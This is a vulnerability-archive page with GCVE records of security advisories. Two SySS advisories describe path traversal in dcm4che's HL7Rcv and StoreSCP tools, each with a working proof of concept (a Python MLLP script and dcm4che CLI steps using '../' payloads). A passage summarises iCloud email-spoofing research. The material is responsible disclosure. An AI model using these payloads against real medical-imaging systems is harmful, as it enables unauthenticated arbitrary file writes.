No CVSS data available.
CWE
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
unknown dcm4che Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "dcm4che",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-078\nProduct:                   dcm4che\nManufacturer:              J4Care\nAffected Version(s):       5.35.0\nTested Version(s):         5.35.0\n\nRisk Level:                High\nSolution Status:           Open\nManufacturer Notification: 2026-08-06\nPublic Disclosure:         2026-10-13\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\n\nand transmitting DICOM data (see [1]).\n\nThe HL7Rcv command-line tool in dcm4che is vulnerable to a path traversal\nattack. An attacker who can send HL7 MLLP messages to a running HL7Rcv\nserver can write arbitrary files outside the configured storage directory\nby injecting \"../\" sequences into the HL7 MSH-9 (Message Type) field.\n\nThis allows unauthenticated remote attackers to achieve arbitrary file\nwrite on the target system.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe HL7Rcv tool receives HL7 messages over the Minimal Lower Layer Protocol\n(MLLP) via TCP. When a message is received and stored, the HL7 message type\nfield (MSH-9) is used directly as a directory name in a file constructor\nwithout any path sanitization (see HL7Rcv.java:254-259):\n\n  private UnparsedHL7Message onMessage(UnparsedHL7Message msg)\n              throws Exception {\n      if (storageDir != null)\n          storeToFile(msg.data(), new File(\n                  new File(storageDir, msg.msh().getMessageType()),\n                          useUUIDForFilename\n                                  ? UUID.randomUUID().toString()\n                                  : msg.msh().getField(9, \"_NULL_\")));\n\nThe getMessageType() method (HL7Segment.java) returns the raw MSH-9 field\nvalue verbatim. If an attacker sends an HL7 message where MSH-9 contains\npath traversal sequences (e.g. \"../outside\"), the resulting file path\nescapes the configured storage directory.\n\nThe storeToFile() method (HL7Rcv.java:271-280) then calls mkdirs() to\ncreate the traversed directory structure and writes the file:\n\n  private void storeToFile(byte[] data, File f) throws IOException {\n      Connection.LOG.info(\"M-WRITE {}\", f);\n      f.getParentFile().mkdirs();\n      try (FileOutputStream out = new FileOutputStream(f)) {\n          out.write(data);\n      }\n  }\n\nNo path normalization or boundary check is performed.\n\nThe MSH-10 (Message Control ID) field is used as the leaf filename, so the\nattacker controls both the traversal path (MSH-9) and the filename (MSH-10).\n\nBecause HL7 MLLP carries no authentication, this attack can be executed\nfrom any network location with access to the HL7Rcv TCP port. A raw TCP\nconnection sending a well-formed HL7 message with the MLLP framing bytes\n(SOM 0x0B / EOM 0x1C 0x0D) is sufficient.\n\nThe root cause is the missing validation of the MSH-9 field value before\nit is used as a file path component.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe path traversal can be demonstrated by sending a crafted HL7 message\nover a raw TCP connection using the following Python script.\n\nThe storage directory (in this example \"/tmp/hl7storage\") has to be\ncreated before starting hl7rcv and running the PoC exploit.\n\ncat \u003e poc.py \u003c\u003c \u0027EOF\u0027\n#!/usr/bin/env python3\nimport socket, os\n\n# Start hl7rcv: hl7rcv --directory /tmp/hl7storage -b 127.0.0.1:25018\n\n# Malicious HL7 message with path traversal in MSH-9 (directory)\n# and attacker-controlled filename in MSH-10 (Message Control ID)\nhl7 = (\"MSH|^~\\\\\u0026|SEND|-|RECV|-|\"\n     \"20240101000000||../outside_hl7|exploit.log|P|2.5\\r\"\n     \"PID|1||12345||Test^Patient\\r\")\nmllp = b\"\\x0b\" + hl7.encode(\"ascii\") + b\"\\x1c\\r\"\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.connect((\"127.0.0.1\", 25018))\nsock.sendall(mllp)\nack = sock.recv(4096)\nsock.close()\n\n# Verify: file written at /tmp/outside_hl7/exploit.log\nprint(os.path.exists(\"/tmp/outside_hl7/exploit.log\"))\nEOF\n\nThe file is written to /tmp/outside_hl7/exploit.log, one directory level\nabove the configured storage directory, confirming the path traversal.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-08-06: Vulnerability reported to manufacturer\n2026-09-04: Vulnerability reported to manufacturer again\n2026-10-13: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] dcm4che project website\n    https://www.dcm4che.org/\n[2] SySS Security Advisory SYSS-2026-078\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:01Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/23"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/23"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.dcm4che.org/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/23"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-078]: dcm4che - Path Traversal (CWE-22)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0476",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/23",
            "automated": true,
            "contentSha256": "575414783a3eb59f3c12e6ea860c192d4263d03b4d70b718862a384dcc059744",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/23",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-15T07:32:05Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:01Z",
    "dateUpdated": "2026-11-02T07:30:01Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0476"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0475

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[SYSS-2026-077]: dcm4che - Path Traversal (CWE-22)
Summary
Advisory ID: SYSS-2026-077 Product: dcm4che Manufacturer: J4Care Affected Version(s): 5.35.0 Tested Version(s): 5.35.0 Risk Level: High Solution Status: Open Manufacturer Notification: 2026-08-06 Public Disclosure: 2026-10-13 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: and transmitting DICOM data (see [1]). The StoreSCP command-line tool in dcm4che is vulnerable to a path traversal attack. An attacker who can send DICOM C-STORE requests to a vulnerable StoreSCP server can write arbitrary files outside the configured storage directory by injecting "../" sequences into DICOM attribute values. This allows unauthenticated remote attackers to achieve arbitrary file write on the target system. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The StoreSCP tool receives DICOM files over the DICOM network protocol via C-STORE requests. When a file is received, it is temporarily written to the configured storage directory and then renamed to its final destination using an AttributesFormat pattern (see StoreSCP.java:121-124): String iuid = rq.getString(Tag.AffectedSOPInstanceUID); File file = File.createTempFile(iuid, PART_EXT, storageDir); try { storeTo(as, as.createFileMetaInformation(iuid, cuid, tsuid), data, file); renameTo(as, file, new File(storageDir, filePathFormat == null ? iuid : filePathFormat.format(parse(file)))); The filePathFormat is constructed from a command-line argument (--filepath) and substitutes DICOM attribute values into the filename pattern. The AttributesFormat.format() method extracts values from network-received DICOM attributes and inserts them directly into the resulting path. The renameTo() method (StoreSCP.java:168-186) then creates any required parent directories and moves the file without validating that the resolved path remains within the configured storage directory: private void renameTo(Association as, File from, File dest) throws IOException { LOG.info("{}: M-RENAME {} to {}", as, from, dest); for(int try_count = 0; try_count <= renameRetries; try_count++) { try{ dest.getParentFile().mkdirs(); Files.move(from.toPath(), dest.toPath(), StandardCopyOption.REPLACE_EXISTING); return; No path normalization, canonicalization, or boundary check is performed. If the --filepath pattern references any DICOM attribute that the remote DICOM client controls (such as StudyDescription {0008,1030}, StudyInstanceUID {0020,000D}, or SeriesDescription {0008,103E}), the client can include "../" sequences that escape the storage directory. value of "../outside_storage" causes the destination path to resolve to: new File(storageDir, "../outside_storage") which is the parent directory of storageDir. The mkdirs() call creates the traversal path, and Files.move() writes the DICOM file to the escaped location. Because DICOM C-STORE carries no authentication, this attack can be executed from any network location with access to the StoreSCP port. The root cause is the missing validation after AttributesFormat.format() before the resulting path is used in file operations. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The path traversal can be demonstrated using the dcm4che CLI utilities using the following steps. Step 1: Create a malicious DICOM file with path traversal in StudyDescription dcm2xml test.dcm > base.xml Step 2: Inject <DicomAttribute keyword="StudyDescription" tag="00081030" vr="LO"> <Value number="1">../outside_storage</Value></DicomAttribute> xml2dcm -x base.xml -o malicious.dcm Step 3: Start storescp with the StudyDescription as filepath pattern storescp -b STORESCP@127.0.0.1:11121 \ --filepath "{00081030}" \ --directory /tmp/storage & Step 4: Send the malicious DICOM file storescu -c STORESCP@127.0.0.1:11121 malicious.dcm Step 5: Verify the file escaped the storage directory ls /tmp/outside_storage # File exists outside /tmp/storage The file is written to /tmp/outside_storage, one directory level above the configured storage directory, confirming the path traversal. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: SySS GmbH is not aware of a security update for the described issue. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-08-06: Vulnerability reported to manufacturer 2026-09-04: Vulnerability reported to manufacturer again 2026-10-13: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] dcm4che project website https://www.dcm4che.org/ [2] SySS Security Advisory SYSS-2026-077 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
unknown dcm4che Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "dcm4che",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-077\nProduct:                   dcm4che\nManufacturer:              J4Care\nAffected Version(s):       5.35.0\nTested Version(s):         5.35.0\n\nRisk Level:                High\nSolution Status:           Open\nManufacturer Notification: 2026-08-06\nPublic Disclosure:         2026-10-13\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\n\nand transmitting DICOM data (see [1]).\n\nThe StoreSCP command-line tool in dcm4che is vulnerable to a path traversal\nattack. An attacker who can send DICOM C-STORE requests to a vulnerable\nStoreSCP server can write arbitrary files outside the configured storage\ndirectory by injecting \"../\" sequences into DICOM attribute values.\n\nThis allows unauthenticated remote attackers to achieve arbitrary file write\non the target system.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe StoreSCP tool receives DICOM files over the DICOM network protocol via\nC-STORE requests. When a file is received, it is temporarily written to\nthe configured storage directory and then renamed to its final destination\nusing an AttributesFormat pattern (see StoreSCP.java:121-124):\n\n  String iuid = rq.getString(Tag.AffectedSOPInstanceUID);\n  File file = File.createTempFile(iuid, PART_EXT, storageDir);\n  try {\n      storeTo(as, as.createFileMetaInformation(iuid, cuid, tsuid),\n              data, file);\n      renameTo(as, file, new File(storageDir,\n              filePathFormat == null\n                      ? iuid\n                      : filePathFormat.format(parse(file))));\n\nThe filePathFormat is constructed from a command-line argument (--filepath)\nand substitutes DICOM attribute values into the filename pattern. The\nAttributesFormat.format() method extracts values from network-received DICOM\nattributes and inserts them directly into the resulting path.\n\nThe renameTo() method (StoreSCP.java:168-186) then creates any required\nparent directories and moves the file without validating that the resolved\npath remains within the configured storage directory:\n\n  private void renameTo(Association as, File from, File dest)\n          throws IOException {\n      LOG.info(\"{}: M-RENAME {} to {}\", as, from, dest);\n      for(int try_count = 0; try_count \u003c= renameRetries; try_count++) {\n          try{\n              dest.getParentFile().mkdirs();\n              Files.move(from.toPath(), dest.toPath(),\n                              StandardCopyOption.REPLACE_EXISTING);\n              return;\n\nNo path normalization, canonicalization, or boundary check is performed. If\nthe --filepath pattern references any DICOM attribute that the remote DICOM\nclient controls (such as StudyDescription {0008,1030}, StudyInstanceUID\n{0020,000D}, or SeriesDescription {0008,103E}), the client can include\n\"../\" sequences that escape the storage directory.\n\n\nvalue of \"../outside_storage\" causes the destination path to resolve to:\n\n  new File(storageDir, \"../outside_storage\")\n\nwhich is the parent directory of storageDir. The mkdirs() call creates the\ntraversal path, and Files.move() writes the DICOM file to the escaped\nlocation. Because DICOM C-STORE carries no authentication, this attack can\nbe executed from any network location with access to the StoreSCP port.\n\nThe root cause is the missing validation after AttributesFormat.format()\nbefore the resulting path is used in file operations.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe path traversal can be demonstrated using the dcm4che CLI utilities\nusing the following steps.\n\nStep 1:\nCreate a malicious DICOM file with path traversal in StudyDescription\n\ndcm2xml test.dcm \u003e base.xml\n\n\nStep 2:\nInject \u003cDicomAttribute keyword=\"StudyDescription\" tag=\"00081030\" vr=\"LO\"\u003e\n       \u003cValue number=\"1\"\u003e../outside_storage\u003c/Value\u003e\u003c/DicomAttribute\u003e\n\nxml2dcm -x base.xml -o malicious.dcm\n\n\nStep 3:\nStart storescp with the StudyDescription as filepath pattern\n\nstorescp -b STORESCP@127.0.0.1:11121 \\\n    --filepath \"{00081030}\" \\\n    --directory /tmp/storage \u0026\n\n\nStep 4:\nSend the malicious DICOM file\n\nstorescu -c STORESCP@127.0.0.1:11121 malicious.dcm\n\n\nStep 5:\nVerify the file escaped the storage directory\n\nls /tmp/outside_storage       # File exists outside /tmp/storage\n\n\n\nThe file is written to /tmp/outside_storage, one directory level above the\nconfigured storage directory, confirming the path traversal.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-08-06: Vulnerability reported to manufacturer\n2026-09-04: Vulnerability reported to manufacturer again\n2026-10-13: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] dcm4che project website\n    https://www.dcm4che.org/\n[2] SySS Security Advisory SYSS-2026-077\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:01Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/22"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/22"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.dcm4che.org/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/22"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-077]: dcm4che - Path Traversal (CWE-22)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0475",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/22",
            "automated": true,
            "contentSha256": "3096478911b20e0396d0fbc7e13128e6253f73aa6cb6159d7a9d76bf8dcf2e63",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/22",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-15T07:32:00Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:01Z",
    "dateUpdated": "2026-11-02T07:30:01Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0475"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0474

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
SEC Consult Research 20261001 :: Arbitrary Email sender spoofing in Apple iCloud mail
Summary
SEC Consult Vulnerability Lab Research Announcement < 20261001 > ======================================================================= title: Arbitrary Email sender spoofing in Apple iCloud mail product: Apple iCloud mail (SMTP submission service) vulnerable version: iCloud mail infrastructure (cloud service) fixed version: Fixed by Apple (verified by SEC Consult, 2025-12-09) CVE number: None assigned impact: Sending of emails from arbitrary icloud.com addresses, passing SPF, DKIM and DMARC checks homepage: https://www.apple.com/ reported: 2024-05-21 (issue 1), 2024-12-07 (issue 2) by: Timo Longin (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos business Europe | Asia https://www.sec-consult.com ======================================================================= Summary: -------- The SEC Consult Vulnerability Lab has published a blog post about two email spoofing vulnerabilities in Apple's iCloud mail infrastructure. They allowed an authenticated iCloud user to send emails from arbitrary icloud.com addresses. The spoofed messages passed SPF, DKIM and DMARC checks at the receiving side. The research builds on SMTP smuggling. Blog URL: --------- Full technical details here: https://r.sec-consult.com/icloud Vulnerability overview/description: ----------------------------------- 1) From header smuggling via bare CR characters iCloud's SMTP submission services handle a From header containing bare CR characters differently in two internal components. The component that authenticates the sender ignores the manipulated header, while a second component, which is likely Postfix-based, replaces standalone CR characters with CR LF. This pushes the legitimate From header into the message body and leaves the attacker-controlled From header as the one seen by the receiver. 2) From header smuggling via dot-stuffing handling ("dot-peeling") After Apple hardened the From header parsing of the first component, a second bypass was found. The first component does not honor the dot-stuffing rules of RFC 5321 section 4.5.2, which allowed the separation of header and body to be abused in the second component. Impact: ------- Both issues allowed sending emails as arbitrary icloud.com addresses. DKIM signatures are created after the message has been processed by the second component, therefore SPF, DKIM and DMARC checks all passed on the receiving side. Vendor contact timeline: ------------------------ 2024-05-21: Initial vulnerability report submitted to Apple: icloud.com SMTP services can be abused via CRLF injection in the From: header to send spoofed emails (e.g., admin () icloud com) with valid DKIM/DMARC. PoC files and script attached; credit line requested for Timo Longin / SEC Consult Vulnerability Lab. 2024-06-06: Follow-up requesting a status update and fix timeline; Apple responds that the issue is still under investigation and asks that details not be disclosed until fixed. 2024-06-27: Follow-up requesting a status update. 2024-06-29: Apple reports no new status update. 2024-08-01: SEC Consult confirms the PoC script no longer works and asks Apple to confirm a fix was made. 2024-08-09: Apple reports no new status update, thanks SEC Consult for patience. 2024-09-01: Follow-up requesting a status update. 2024-09-11: Apple reports still investigating, no new updates to share. 2024-10-07: Follow-up checking the issue hasn't been forgotten. 2024-10-08: SEC Consult notes an upcoming SMTP smuggling talk at IT-SECX (Oct 11) that will not disclose new vulnerability details; asks Apple for a fix timeline. 2024-10-17: Apple states changes have been made and asks SEC Consult to confirm current behavior. 2024-11-01: SEC Consult confirms the original PoC (CRLF injection in From: header) is no longer exploitable; proposes public disclosure at BSidesVienna on Nov 23, 2024, plus a blog post in December. 2024-11-04: Apple confirms the report as remediated and asks to review a draft of the planned disclosure. 2024-11-07: Draft BSidesVienna slides shared with Apple (attachment failed to send). 2024-11-09: Apple reports the attachment wasn't received; asks SEC Consult to resend. 2024-11-11: Slides resent; SEC Consult asks Apple for root-cause details (proprietary iCloud SMTP vs. third-party software). 2024-11-19: Apple confirms the report qualifies for the Apple Security Bounty and awards $15,000. 2024-12-06: SEC Consult discovers a second, related parsing issue enabling From-header spoofing via a different method; Apple asks that it be filed as a separate report. 2024-12-07: New report opened and tracked as OE196504222209; Apple acknowledges receipt. 2024-12-11: SEC Consult reports the deployed fix is insufficient - it merely blacklists the POC substring "admin" in the From: header rather than fixing the root parsing flaw, leaving most other @icloud.com addresses spoofable and potentially breaking mail for legitimate users with "admin" somewhere in their address. 2024-12-12: SEC Consult provides a new working PoC spoofing security () icloud com, with supporting screenshots, raw message, and script. 2024-12-16: Apple acknowledges the additional information and states it will follow up if further details are needed. 2025-01-28: SEC Consult shares further technical analysis, noting Postfix's smtpd_sender_login_maps limitations and recommending a Milter-based filter (e.g., milterfrom) that checks the From: header against the final email data before sending, as a likely root-cause fix. 2025-01-29: Apple acknowledges the analysis, states the issue is still under investigation. 2025-03-28: SEC Consult confirms the vulnerability is still exploitable. Apple replies (marked confidential) that a fix is planned for a future security update and asks that disclosure wait until it ships. 2025-04-04: SEC Consult agrees to hold disclosure and asks for a rough timeframe; Apple says more information will be available in the coming weeks. 2025-05-22: SEC Consult asks for an update, noting the issue remains exploitable. 2025-05-24: Apple reports an update was released in the prior 48 hours and asks SEC Consult to reassess whether the issue is remediated. 2025-06-10: Apple follows up again asking SEC Consult to confirm whether the update fixed the issue. 2025-06-13: SEC Consult confirms a bypass still exists, working the same way as described in report OE196504222209; Apple acknowledges and says it will review. 2025-07-17: SEC Consult asks for a fix update, noting a conference talk planned in about two months. 2025-07-22: Apple states the issue is still under investigation and reminds SEC Consult that bounty eligibility requires no public disclosure before an update ships with a security advisory. 2025-09-10: SEC Consult reports the conference talk was cancelled and asks for a status update. 2025-09-12: Apple replies (marked confidential) that a fix is planned for a future security update "in the near future" and again asks for continued non-disclosure. 2025-10-08: SEC Consult reports the vulnerability is still exploitable and asks whether the update has shipped. 2025-10-10: Apple states changes are being implemented and more information will follow soon. 2025-11-11: SEC Consult confirms the previous PoC spoofing method no longer works; asks Apple to confirm the fix is fully rolled out. 2025-11-12: Apple confirms the updates have been pushed out and asks SEC Consult to review. 2025-11-14: SEC Consult confirms they will review the fix. 2025-12-09: SEC Consult confirms the deployed fixes remediate the original issue. 2026-10-01: Public release of blog post. Solution: --------- Apple has fixed the vulnerabilities in its iCloud mail infrastructure. No CVE was assigned. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. 